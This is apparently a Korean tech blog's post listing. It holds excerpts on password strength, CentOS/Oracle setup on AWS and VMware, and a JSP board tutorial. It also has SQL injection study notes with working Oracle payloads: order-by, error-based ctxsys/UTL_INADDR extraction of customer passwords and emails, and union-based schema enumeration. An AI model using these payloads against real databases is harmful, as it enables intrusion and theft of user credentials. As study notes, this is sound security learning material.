분류 전체보기 80

23.07.26 "@넣었는데도 털렸다"…비번 설정, 뭐가 잘못됐던 걸까?

이 내용은 노션에서 작성되어서 가독성이 구립니다. 노션에서 보시는걸 추천드립니다. 노션 주소 : https://robust-millennium-8ba.notion.site/6f8e366f8ef04b98915976322fc7c8cb?pvs=4 "@넣었는데도 털렸다"…비번 설정, 뭐가 잘못됐던 걸까? : 네이트 뉴스 위 기사에서는 아래와 같은 내용이 작성되어있다. 💡 커뮤니티에선 특수문자인 !,@,#,$,% 등을 포함한 비밀번호 설정을 요구했다. A씨는 주로 사용하는 비밀번호 끝에 !와 @를 붙였고, 사이트에서도 이를 '보안 강도 높음'으로 분류했다. 그런데 뭐가 문제였을까. 문자 구성에 대해 말하는 걸 보면 해당 보안 강도 높음의 의미는 아마 브루트포스(brute force) 즉, 무차별 대입 공격을 대상..

보안뉴스 2023.07.27

AWS에 CentOS,Oracle 환경구축

센토스(센트 os)는 알아서 깔자 센토스(멘토스 아님) 시간설정 ln -sf /usr/share/zoneinfo/Asia/Seoul /etc/localtime sudo passwd root 루트 비번 만들기 루트 접속 https://sundries-in-myidea.tistory.com/102 스왑공간 만들어주기 오라클 설치 윈도우에서 오라클.rpm.zip 옮기기 scp -i "majun.pem" .\oracle-xe-11.2.0-1.0.x86_64.rpm.zip\ centos@ec2-3-38-252-203.ap-northeast-2.compute.amazonaws.com:/home/centos centos에서 unzip깔기 yum -y install unzip unzip 오라클.rpm.zip로 압축풀기..

[SQL Injection] order by

컬럼 명을 알때 order by (case when 1=1 then 컬럼명 else 컬럼명2 end) 컬럼명 1로 정렬됨 order by (case when 1=2 then 컬럼명 else 컬럼명2 end) 컬럼명 2로 정렬됨 컬럼 명을 모를때 order by (case when 1=1 then 1 else 1/0 end) 무언가로 정렬됨 order by (case when 1=2 then 1 else 1/0 end) 1/0이 무한대가 되면서 터져버리고 오류가남 ( db종류와 버전에따라 다름) DB별 함수 차이 오라클 substr(user,1,1) MYSQL substr(user(),1,1) MaridDB 아마 MS SQL 인 것 같음 substring(user,1,1) substring(DB_NAME(..

VMware에 CentOS7올리기

내가 까먹을까봐 쓰는 블로그 1.왼쪽 위에 Player를 누르고 File -> 뉴 버추얼 머신을 누른다 2. 3. 4. 원하는 디렉토리로 정해준다 5. 먼지는 모르겠지만 이렇게 세팅 6. 여기서 커스터마이즈 해준다 7. 딴거 건든건 없고 메모리랑 프로세스만 건드렸다. 이정도면 서버 돌리는데 충분하고 많으면 많을수록 좋긴함 8.Finish를 누르고 방금 만들어진 CentOS를 왼쪽에서 클릭하고 우측 하단에 Edit virtual machine settings를 누른다. ( 나는 이전에 만들어준 orcle이라는 이름과 Tomcat이라는 이름이 이미 있다. 이름은 Edit virtual machine settings 안에서 바꾸고싶으면 바꾸면 된다. ) 9. Network Adapter가 지금 나는 기본으로 ..

공부/JSP 혼공 2023.04.04

[SQL Injection] err based

에러베이스드 테스트 ' and ctxsys.drithsx.sn(user,(select password from customer where name='mas9623'))=1 -- ' and ctxsys.drithsx.sn(user,(select email from customer where name='12345'))=1 -- ' and UTL_INADDR.GET_HOST_NAME((select password from customer where name="123123")) 됨 UTL_INAADR.GET_HOST_ADDRESS((원하는 서브쿼리 내용)) ORDSYS.ORD_DICOM.GETMAPPINGXPATH((원하는 서브쿼리 내용),user,user) CTXSYS.DRITHSX.SN(user,(원하는 서..

[SQL Injection] Union based

모든 컬럼명 조회 ' union select '1','2', '3', '4', '5', '6', '7', '8', '9',column_name FROM all_tab_columns -- 모든 BD명 조회 ' union select '1','2', '3', '4', '5', '6', '7', '8', '9',owner FROM all_tables -- 모든 테이블 조회 ' union select '1','2', '3', '4', '5', '6', '7', '8', '9',table_name FROM all_tables -- 현재 DB에 있는 테이블 조회 ' union select '1','2', '3', '4', '5', '6', '7', '8', '9',tname FROM tab --

9. [게시판 실습] 입력 글 저장하기

1. write_ok.jsp를 만들고 아래의 내용을 입력한다. self.window.alert("전송완료"); location.href="write.html"; 2. 이제 write.html에서 내용을 입력하면 db에 insert가 되는걸 확인할 수 있다. ※ 참고용 코드가 실행되는 순서 Oracle JDBC 드라이버 클래스 로딩: Class.forName("oracle.jdbc.driver.OracleDriver"); 데이터베이스 연결 생성: Connection conn = DriverManager.getConnection("jdbc:oracle:thin:@localhost:1521:xe", "jsp", "root"); SQL 쿼리문 작성: String str_sql = "INSERT INTO BBS ..

공부/JSP 혼공 2023.03.25

8. [게시판 실습] JDBC 드라이버 준비

1. 오라클을 설치했다면 JDBC 드라이버를 찾아보자 11g 기준으로 아래의 경로에 있습니다. C:\oraclexe\app\oracle\product\11.2.0\server\jdbc\lib 못찾겠다면 오라클 디렉토리 안에서 ojdbc를 검색하면됩니다. 문제가 별로 없다는 6버전을 사용할 예정입니다. 복사해줍니다. 2.복사한 내용을 두개의 디렉터리에 붙여넣을 겁니다. 첫번째 C:\Program Files\Java\jdk-20\lib 이건 자바의 버전마다 다른거같은데 lib안에 ext가 있을수도있다 있으면 ext 안에 넣고 없으면 lib에 넣으면됩니다. ( 사실 이걸 작성하고 있는 시점에 되는지 안되는지 아직 확신은 없다.) 두번째로 사용하려는 톰캣-lib 안에도 똑같이 붙여넣어줍니다. 3.아래와 같은 코..

공부/JSP 혼공 2023.03.25

7. [게시판 실습] 데이터베이스와 입력 폼 만들기

1. 데이터베이스 만들기 우선 오라클을 사용하기위해 터미널에서 sqlplus를 입력하고 엔터를 누릅니다. system으로 접속하여 새로운 계정을 만들고 권한을줍니다. 아래 내용을 입력하면 select 문 등에서 여러줄로 나오는걸 방지할 수 있습니다. SQL> set linesize 400; SQL> set pagesize 2500; 먼저 MySQL 기준으로 우리가 만들어야 할 테이블은 아래와 같습니다. 이것을 오라클에 맞게 최대한 맞춰서 만들어보면 아래 명령어들을 입력하면 됩니다. CREATE TABLE board ( board_number NUMBER PRIMARY KEY, name CHAR(12), password CHAR(16), email CHAR(50), homepage CHAR(60), sub..

공부/JSP 혼공 2023.03.25